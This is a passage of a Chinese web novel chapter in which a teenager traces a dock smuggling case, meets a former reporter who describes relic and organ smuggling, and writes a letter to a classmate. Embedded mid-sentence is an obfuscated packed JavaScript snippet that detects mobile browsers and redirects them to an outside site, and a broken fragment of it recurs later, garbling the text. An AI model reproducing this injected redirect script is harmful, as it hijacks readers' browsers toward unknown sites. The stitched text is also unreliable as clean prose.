她站在书架梯子上,悄悄朝着宋恩年离开的方向又看了一眼,若有所思。 刚才她分明在宋恩年的衣角看到了些许橡皮碎屑,说明他先前应当在写字或者画画。 不过余念没多想,她很感谢宋恩年的帮忙,朝着书架子抽出下一本书,回到了座位上。 不过这一次,她看了很久都没看进去。 盯着水杯口沉沉浮浮的热气,有一瞬间的恍惚。 少年的声音很清冽,一直在耳边回荡。他与她的识相不过是寥寥几面,但余念却总是忍不住特意去关注他。 也许是宋恩年太过耀眼了。 青春期间,这样耀眼,长得又好看的年级第一,放在任何一个位置,都会有大把的人喜欢。 余念笑了笑,他应该也有很多人喜欢吧。 转念又想到他的家庭,还有那个笑容总是很慈祥的宋奶奶,余念心中又忍不住一阵颤动。 很少有人能像宋恩年那样坚忍了吧。 宋恩年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494696|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没走远,一直在不远处看着余念,看着她新拿出了一本书在看,不过这一次她好像没开始看书,更像是在那发呆。 宋恩年拿出刚才画的画,添上最后几笔,才满意地将其收了起来。 而后继续去二楼整理书籍。 这些天里,宋恩年已经将三楼的小阁楼里面的旧报纸和资讯这些全部都整理了一遍,将相关的信息全都握在了手中。 这些,全都在神不知鬼不觉的情况下进行。 空闲时候,他会找一个僻静的角落,将线索全都集中起来,再根据从惯例找到的线索指向,慢慢地坐在那开始想。 一整叠地纸都被画满了数轴和事件梳理,但线索还是不够。 老李的动机,和赌场那群人的恩怨纠葛,还有老头的目的.....这些全都扑朔迷离。 “藏的太深了。”宋恩年呢喃。 怪不得老李敢回国,是笃定了他们找不出什么证据,也不敢拿他怎么样。 或者说,还有什么重要的东西还遗留在国内,让他不得不回来。 他拿出手机,网络上关于2010年6月份的新闻报道也几乎全都踪迹全无,一丁点线索都没有留下。 不过有一点可以确定的是,老头也不能再信了。 他继续得自己行动。 但也不能打草惊蛇。 宋恩年回想了一番那日和老李的最后一通电话。因为他拿自己当诱饵这事,俩人意见不合,一气之下将他拉黑,这些都是合理范围之内。 无可细想。 所以说,老李应当没反应过来,他已经意识到了不对劲。 自己现在只需要保持现状,不露出马脚,就能暂时安全。 宋恩年目光明灭,将桌面上的所有纸张拍好照片,全部销毁。 看着天色不晚,他和馆长打了一声招呼,离开了图书馆。 没想到推开门,外面竟然下着雨。 冬天的雨很冷,他犹豫了一会。 “你没带伞吗,不介意的话,来和我一起打吧。” 一道清丽的声音传来,宋恩年背后一僵。 他回头看,是余念,正拿着一把伞笑着看他。 宋恩年有些惶恐,脑中立即闪过了老李还有那些最近一直在核桃巷附近晃荡的人,嘴比脑子反应快,他说:“不用了,谢谢好意。” 余念抿嘴,坚持问道:“你也住在核桃巷吧,我也在,正好顺路。” 馆长正好推门而出,看到宋恩年,笑着递过一把伞:“我就记得你小子今早来的时候没带伞,先拿这把回去吧。” 宋恩年接过馆长的伞,又对余念说了声句,“谢谢,但我们不顺路,一起走会让你绕远路。” 余念心中那句“不麻烦的”,始终没有说出口看着少年打着伞,渐渐消失在前方的雨幕中。 心中泛起一丝酸涩。 等了一会,抬脚往家的方向走。 宋恩年在转角的位置,看着余念安然回家的背影,握着伞把手紧了紧。 现在这个处境,他不能和余念牵扯上关系,不能让余念被牵扯进这个危险的漩涡里。 有些心意不必说出口,就像这场沉默的雨,安静地来,又安静地离开。 18. 第五封信 宋恩年回到家,收了伞,小心依靠在门边。 距离年关越近,家家户户的喜庆像是从要溢出来的水,蒸腾又柔软,将冬日的寒意隔绝在外。 上次和宋奶奶采购的年货堆在墙角,红艳艳的包装在灯光下显得格外喜庆,还多买了两对窗花,贴在柜子玻璃上,喜庆得很。 “外婆,过两天图书馆就放假了。”宋恩年脱下外套挂在门后,轻声说,“可以好好陪您过年。” 宋奶奶闻言转过身,笑得眼角的皱纹舒展开来,“我打听过了,附近山上的寺庙可灵验了。趁着过年热闹,咱们也去求个平安符。” 宋恩年顿了顿,“好。” 他不想佛了外婆的心意。 回到小房间内,从衣服口袋里掏出一角牛皮纸的位置,小心翼翼展开。 上面清晰写着记者的联系方式和邮箱,像黑暗中微弱却固执的萤火。 窗外,不知谁家的孩子在放烟花,忽明忽暗的光透过窗帘,在他脸上投下斑驳的影子。宋恩年的目光在光与暗之间流转,最终定格在那串数字上 过了这么多年,也不知道这个联系方式是否还在使用。 他必须尝试一番。 先是搜索了电话号码的归属,看着手机上显示的“广东榕城”,是本地人,至少这是个好消息。 宋恩年下想了想,将手机揣起来,拎着垃圾袋往外走,“外婆,我去扔个垃圾。” 说着他走出去,顺着小巷走到最外面的巷口。扔完垃圾,慢步折返回家。 确定周围没人盯着,他回到屋内掏出手机,输入相应的电话号码,拨了过去。 第一次无人接听,他又拨了第二次。听着那头传来的忙音,直到电话即将要自动挂断的前一秒,电话通了。 那边传来粗噶的声音,背景音嘈杂得像沸腾的锅,“喂!?谁啊!” 宋恩年组织好语言,“你好,请问是曹记者吗。” 那边语气明显不耐烦,“怎么又来问,都说过多少次了,老子不姓曹,也不认识什么记者!” 说完就怒气冲冲挂断了电话。 忙音在耳边回荡,宋恩年盯着渐渐暗下去的屏幕,脸上看不出情绪。他早就料到会是这样的结果。这么多年过去,手机号易主再正常不过。 他又尝试去搜索邮箱,发现那是好几年前的报社收稿邮箱,现在报社早就倒闭了一大片,也不知道这个邮箱是否还在使用。 思考片刻,他选择出了门,往网吧的方向去。 天色有些黑,寒风刮得人脸颊生疼,路上行人都是步履匆匆,宋恩年将衣帽竖起来,堪堪遮住吹来的冷风。 核桃巷外有一条较为开阔的街区,各种小商铺,花花绿绿的霓虹灯招牌挂在门外。 不乏有理发店,米粉店和网吧之类。 网吧的招牌闪着刺眼的蓝光。宋恩年推门而入,暖气混杂着烟味扑面而来,对着前台老板道:“你好,一个小时。” “好的,三块钱一小时,带身份证了吗?” 宋恩年说,“没带。” 前台老板也没说什么,从一旁的几张身份证中拿出一张,熟练办理了开机卡,扔给他,“直走,左转就是。” 宋恩年拿起卡就走,找到一个相对角落的位置,打开电脑,输入一个网址,把自己的搜索记录和地址改了。 然后黑进了当年曹记者所在报社的网页终端,屏幕上的代码不断刷新,最终定格在曹记者的个人信息上与邮箱联系上。 他径直点开邮箱,大致浏览了一番,从五年前开始,这个邮箱所收到的稿件数量就断崖式下降,且曹记者再也没有给任何一封稿件回信过。 这说明,在五年前,这个邮箱就已经不使用了。 那曹记者现在人在哪呢? 幸好报社的网页系统里面还有他的基本资料和身份信息。宋恩年继续深入搜索,终于在一堆废弃数据中找到了线索。 曾经的曹记者,如今在容水县经营着一家小吃摊。 从记者跨到店员,这跨度可真够大的。 宋恩年没做过多动作,关闭所有页面,清空记录。 记下曹记者如今所在的米粉店的位置,离开了网吧。 * 新年的氛围热闹,鞭炮从早上响到了晚上,又从晚上想到早上,一直没停歇过,红色的碎纸屑铺满了大街小巷。 宋恩年点开手机,买了一张去往容水县的车票。 春运期间出行拥堵,他买了最便宜的汽车票。汽车在盘山公路上颠簸,窗外的景色从城市的高楼逐渐变成荒芜的山丘。 他将额头抵在冰凉的玻璃上,感受着发动机传来的细微震动。春运期间的车厢挤得像沙丁鱼罐头,混合着泡面与汗酸的气味,但他却异常清醒。 “容水县到了!”售票员粗哑的嗓音惊醒了一车昏睡的乘客。 宋恩年拎起背包,随着人流挤下车。站台上积着前夜的霜,踩上去发出细碎的声响。 根据查到的地址,曹记者的肠粉摊就在车站后巷。 宋恩年穿过嘈杂的集市,劣质音响播放着喜庆的新年歌曲,与眼前油腻破败的环境形成极致的反差。 “正宗广式肠粉!正宗的广式肠粉嘞——” 沙哑的吆喝声从巷尾传来。 摊位前围着几个民工模样的顾客在等待,蒸笼腾起的热气后,一个满脸油光的矮胖男人正麻利地刮着肠粉,打包装好,满脸笑地递给顾客。 宋恩年走上前去,跟着一同排队。 “要什么口味?加肉加蛋不?划算!” 曹明头也不抬地问道,沾满米浆的围裙在肚腩上勒出深沟,手下的动作行云流水般顺畅。 宋恩年递过去一张五元的纸币,“来份最简单的就行。” 曹明应声,“好嘞!” 宋恩年:“顺带想向你打听个事。” 曹明动作麻利做好两份肠粉,打包递到旁边等待的顾客手中,听到宋恩年这话,狐疑瞥了他一眼。 见他面容青涩,应该还是个学生。 “什么事?”他又舀了一勺米浆,动作流利地将米浆铺开,而后塞进一个加热的小炉子里。 宋恩年又抽出一张十块钱递过去,“我想问2010年榕城码头的事。” 曹明动作明显一顿,只抬了眼珠子看他,从宋恩年的角度,刚好能看见他布满血丝的眼白。 “不知道,别影响我做生意!”曹明狠狠瞪了他一眼,继续做肠粉。 “孙剑还活着。”宋恩年将手机推过去,屏幕上是被刻意模糊处理的监控截图,“有人在拉斯维加斯见过他。” 曹明眉头狠狠一皱,最终还是扭过头,盯着照片看了足足十秒。 “不认识。” “你是想来闹事的对吧,最后说一句,赶紧滚蛋!” 宋恩年盯着曹明,利落拿起手机,点开其中一张银行卡余额,递给曹明看,说:“告诉我你知道的消息,这些都是你的。” “不会让你做亏本生意。” 宋恩年一直都很谨慎,将钱分别存在了不同的银行卡里,嘿曹明看的只是其中一张,里面有五万块。 曹明瞥了眼余额上的数字,这才露出一抹笑,放下手中的工具,对帮工吼了句“来个人看摊!” 从屋内立马跑出另一个矮胖的男人接手他的工作,曹明眼神示意宋恩年往里走。 宋恩年收起手机,跟着曹明穿过油腻腻的店面,蒸笼的热气在两人之间氤氲成雾,径直走进店后的储藏室。 昏暗的储藏室里堆满米面粮油,曹明反锁上门,从口袋中摸出一包皱巴巴的红双喜,自顾自点上,烟雾缭绕地问:“你怎么找到我的?” 储藏室外传来帮工吆喝的声音,蒸笼盖掀起的脆响,还有食客模糊的交谈。这些市井的嘈杂被木门过滤后,变成某种遥远的背景音。 “之前的旧报纸。”宋恩年点开手机,相册里面还有他从阁楼里拍的那包牛皮纸包裹着的相片,全都是没被公布的。 他问:“你当年为什么撤稿?” 曹明剧烈咳嗽了声,烟灰抖落在发黄的衬衫上,他盯着墙上斑驳的霉点,说:“那篇报道差点要了我的命,我发过誓再也不提及那天的事。” “不过看在钱的份上,我可以告诉你我知道的。” 宋恩年不动声色地观察着对方,曹明右耳后有一道延伸至衣领的疤痕,说话时会不自觉地摸向腰间,那里别着一把切肠粉的刀具。 他一直都很警惕,应当是这些年被逼出来的。 “还有其他人找过你吗。”宋恩年绕开话题。 曹明:“还有个戴眼镜的男人也来过。” 宋恩年:“他问了什么?” 曹明磕了磕烟头,“小子,你手上有孙剑的消息,说明你应当了解这事,看你年纪轻轻,我多提点你两句,有些事不要深究,对你无利。” 宋恩年说,“孙剑是我父亲。” 他观察着曹明的脸色变化,继续道:“欠了几个亿,被追债的人打上家门,逃了,这些年一直没消息,债主每天都会上门闹事。” 曹明手中的烟落下一截灰,有些烫手,他面不改色抖了抖,开口问:“那你来问当年码头那事,有什么目的。” 宋恩年:“找到孙剑。” 曹明:“那你该去讨债公司,找我做什么?” 宋恩年只是冷冷瞥了他一眼,“你会去向仇人打听事吗。” 曹明干笑,指着手机频幕,“你都有门路查到这了,还不知道当年码头那事?” 宋恩年说:“不然你觉得,我找你还能因为什么。” 曹明笑了声,将自己的手机拿出来,点开银行app,意思是要让宋恩年先将钱转过去。 宋恩年干净利落地转了。 听到转账成功的提示音,曹明这才放心,扯了扯自己的衣领,露出那些狰狞的伤疤,“首先给你说一声,知道太多的下场就是这样。” 宋恩年冷笑一声:“很别致。” 曹明放声大笑,也不藏着掖着,“先说那张照片的由来。” “当年的码头偷渡,是因为警察在那批船即将离开的时候突击搜查,查到了好几个没有身份的黑户,还有私自偷渡的人。” “我当时在报社,听到这个消息,立马赶过去收集一手资料,就拍到了那些照片。回到报社,越看那些照片,我才意识到不对劲。” “什么不对劲?”宋恩年问。 曹明示意他点开相册里的那些新闻照片,放大,指着船说:“这船吃水量不对劲,按理来说,得是货船才能有这样深的吃水量,客船不可能有。所以我猜测,那不是一艘简单的客船。” 曹明说着,烟已经抽完了一根,他点燃第二根,继续说:“当时年少轻狂,看到这些不同寻常的事,就想着弄成新闻。因此我第一时间就开始着手调查了,没想到这一查,还真让我查出些东西。” “当年闹得沸沸扬扬的四龙方尊案,有印象不?” 宋恩年点开手机,打算上网搜搜。 曹明嫌弃道,“2008年,国家对文物进行一次统一的大排查,结果这一检查就检查出东西来了,博物馆里,每天都供游客欣赏的文物,四龙方尊,是假的。” 宋恩年:“假的?” “那事掀起了不小的波动,很长一段时间才消停下去。”曹明说,“要是当年有网络,估计这事难以消停。” “不过话说回来,我调查了那艘船的工作人员,交接对象,和行驶航线,发现他们每经过一个国家都要停顿三日。” “后来,在纽约的地下拍卖市场,我亲眼看到了那尊四龙方尊,被拍卖出了天价。” “同时,国内的博物馆里,那尊赝品还继续摆着。” 宋恩年拧着眉头:“所以,那艘船是干文物走私的。” 曹明点头说:“没错。” “准确来说,不止是文物。”曹明眼神幽深,“船舱里还装着恒温箱,那些箱子里...装着活人的器官。” 宋恩年沉默片刻:“你回国之后,有想过报警吗。” 曹明又烦躁地指着自己脖子,“当然想过,这就是下场,要不是命大,早就不知道死在哪了。” “后来我把拍到的照片都送回报社,报社不敢处理,只敢积压在那。后来报社倒闭,也不知道那些资料和照片流落到哪里了,没想到竟然被你找到了。” 宋恩年思索着,图书馆的馆长喜欢收集这些旧资讯,想必那些报纸之类的,就是当年报社倒闭的时候一齐收过来珍藏的。而且他也不曾认真地全都翻看过收集来的东西,再加上装着曹明手稿和照片的只是一个不起眼的牛皮纸袋,没被人注意到,很正常。 因此图书馆馆长也不知道有照片这回事。 但老李的动作实在太快,他想到的地方太广了,几乎每一个与码头案涉及的,都会被他查一遍。 不过这一趟很有收获的,最起码事情明了了,老李做的就是走私方面的事。不止如此,走私的还是国宝级别的文物,甚至还有肮脏的器官走私。 宋恩年想到孙剑,又问:“我看照片,孙剑不是被警察抓了吗,怎么没有报道。” 曹明说:“是被警察给抓了,不过听说半路逃了,然后就再也没有找到过。” “逃了?”宋恩年拧起眉头。 曹明摊了摊手,“谁知道呢,我现在没什么大志向,活着就行,至于其他的,没精力去想太多。” 他活动着身体,说:“好了,我知道的就这么多,我也不打算去做什么,那些有势力的人,动动手指就能让一个蝼蚁消失,小子,我劝你也少去惹那些人。” “知道的越多...”他指了指自己太阳穴,“这里越容易开花。” 宋恩年抿嘴,他想得到的信息今日已经收集够了,也站起身来,多问了句:“还有关于孙剑的消息吗。” 曹明烦躁道,“不知道,我当年不过就是个想要挖新闻的人,我哪知道这么多。” 他盯着外头的天色,已经接近中午,语气开始变得不耐烦起来:“该说的都说了,走了,我还要忙。” 说着,他起身往外走。 宋恩年也没过多停留,扯了扯衣领子,往汽车站的方向走。 春节的气息浓烈,汽车站人声鼎沸,小贩叫卖着糖葫芦,融化的糖浆滴在地上,像一滩滩血迹。 宋恩年坐在候车长椅上,看着手机屏幕,录音文件正在生成,而后存入手机加密文档里。 宋恩年一路上都在思索曹明说的每一句话,不放过关键信息。 这一趟来的很值,那些零散的线索终于在脑海中连成完整的图案。像拼图最后关键的几块,严丝合缝地嵌在一起。 赌场、老李的走私集团、孙剑...... 最先可以确定的是,老李和赌场一定是在对立面的,且看样子仇还挺深,不然几个月前也不会雇人去拿保险箱,而围堵他的,就是赌场的人。 还有一种可能是,老李和赌场,原本是合作关系,后来撕破脸,变成对立关系。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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刚想闭眼眯一会,汽车提示到站了,他刚下车,发现天色已暗,街边的灯笼次第亮起,在地上投下晃动的红光。 宋恩年裹紧外套,寒风还是从领口钻进来,像冰冷的蛇。路过巷口的便利店时,看见电视里正在播放春节晚会彩排的新闻,主持人喜庆的声音和便利店叮咚的门铃声混在一起,有种超现实的感觉。 他回到家,将自己锁进屋子里,没开灯就径直走向书桌,想了很多很多。 从刚开始的被迫去陈老九那接危险的任务来挣钱,到现在的一大长串牵扯。 月光透过纱帘在地板上画出菱形的光斑,他盯着那些晃动的光影,脑中闪过很多个思绪。 孙剑翻过阳台时碰倒的花盆,追债人砸门时劣质铁门不堪重负的摇晃声,还有后来在曹明照片里看到的,那艘吃水很深的船。 他打开手机搜索四龙方尊案的经过,官方报道写得冠冕堂皇。 这件文物是博物馆的镇馆之宝,于2008年失窃后,警方全力搜查,终于在某官员家中找到了真的,还给博物馆。 句句都在说国宝已经完璧归赵。 但曹明的声音又在他耳边响起:“我在纽约地下室见过真品,被拍出了天价。” 宋恩年冷笑一声,手指无意识摩挲着手机边缘。真的觉得这个世界足够荒唐,光鲜亮丽的表象下,爬满了见不得光的蛆虫。 他盯着外头光秃秃的树枝,在寒风中摇曳,庆祝春节的喜庆歌通过广播传遍大街小巷。 心口闷得像是坠这一捧水,他现在算是理解了曹明的那句话,有时候知道得太多也是一种烦恼。 深呼一口气,宋恩年扯过一张纸,提笔开始写信。 * 余念同学: 突然想起已经很久没给你写信了。最近临近年关,日子像被按了快进键,每天很忙。 我在一家老旧图书馆找了份寒假工,去上班的第一天,看到你也在,心里第一反应是开心。 原来老天爷还挺识趣的,也许是因为它听到了我的心声,虽然放假了,却还能每天见到你。 最近发生了一些事,不知道该怎么说,也不能说得太清楚。 就像站在雾里,明明知道前面有东西,却怎么也看不清轮廓。 我有时候会想,如果人能选择性地当个瞎子,是不是反而能活得轻松一点? 可惜现实不允许。 有些东西不是我想躲就能躲开的。它们像藤蔓一样缠上来,稍微一动,就会勒得更紧。 外婆年纪大了,我不想让她再被任何风波惊扰。可偏偏有些事,就像雨季积在低洼处的水,你不去疏通,它就会一直淤在那里,发臭、生虫,最后连路过的人都要掩鼻而逃。 就比如孙剑的事,不主动去解决,就一直会被人骚扰,盯梢。 我还在查一些事情,不能急,也不能打草惊蛇。就像下棋,走错一步,可能满盘皆输。 所以现在只能一点一点地摸索,把线索拼凑起来。如果顺利的话,或许过段时间,我能把这些交给真正能解决它的人。 但目前我身边的眼线太多,已经到了牵一发而动全身的地步,我不能轻举妄动。 写到这里,突然觉得有点可笑。明明你什么都不知道,我却在这里絮絮叨叨说些似是而非的话。 不过,有些事不能明说,也只能写在这里,就当是对你倾诉了,排解心中的压抑吧。 窗外又开始下雨了,今年的冬天似乎格外漫长。希望春天来的时候,一切都能有个答案。 最后,祝你新年快乐。 书于2016年2月4日。 * 写完这些,宋恩年将信件仔细折叠好,也一起放到了小铁盒里面。 对着窗外怔忪许久,这事不能着急,得慢慢来。最起码不能引起陈老九和老李的注意。 暗中进行的话,需要的时间就更多了。 * 余念看完第五封信,信纸在指尖微微发颤,盯着最后一行字,胸口像是被什么东西轻轻攥住,呼吸不自觉地放轻了。 她记得那间旧图书馆,木质地板踩上去会发出轻微的吱呀声,阳光透过高窗斜斜地落进来,灰尘在光里缓慢浮动,像一场无声的雪。 小时候,奶奶总爱带她去那里看书,童话书被她翻了一遍又一遍,书页边缘都卷了毛边。 后来长大了,去图书馆成了习惯,却没想到会在那个寒假遇见宋恩年。 那时候她最喜欢的事情就是,趁着找书的时候与宋恩年偶遇,看他那一本正经的样子,就觉得心中有种踏实稳重的欣喜感。 余念点开手机屏幕,打开相册,那张珍藏的照片跳出来。 少年坐在窗边写字,阳光在他睫毛上投下细碎的金影,连握笔的姿势都带着一种克制的认真。 她曾经因为这张照片偷偷开心了很久,可现在再看,却忽然注意到他微蹙的眉头,和唇角那一丝几不可察的紧绷。 想到信件都后半部分,余念心有些沉重。 “黑暗”、“肮脏”、“不能轻举妄动”,这些字眼像锋利的玻璃碎片,猝不及防扎进心里。 她的手指微微僵硬,虽然信中说得隐晦,可字里行间透出的危险气息却让她脊背发凉。 到底发生了什么? 心脏在胸腔里重重跳了两下,余念深吸一口气。 必须知道后面发生了什么。 手指有些发抖地从小铁盒中拿出下一封信,展开时不小心撕破了一个小角,她没时间在意这么多,迅速展开。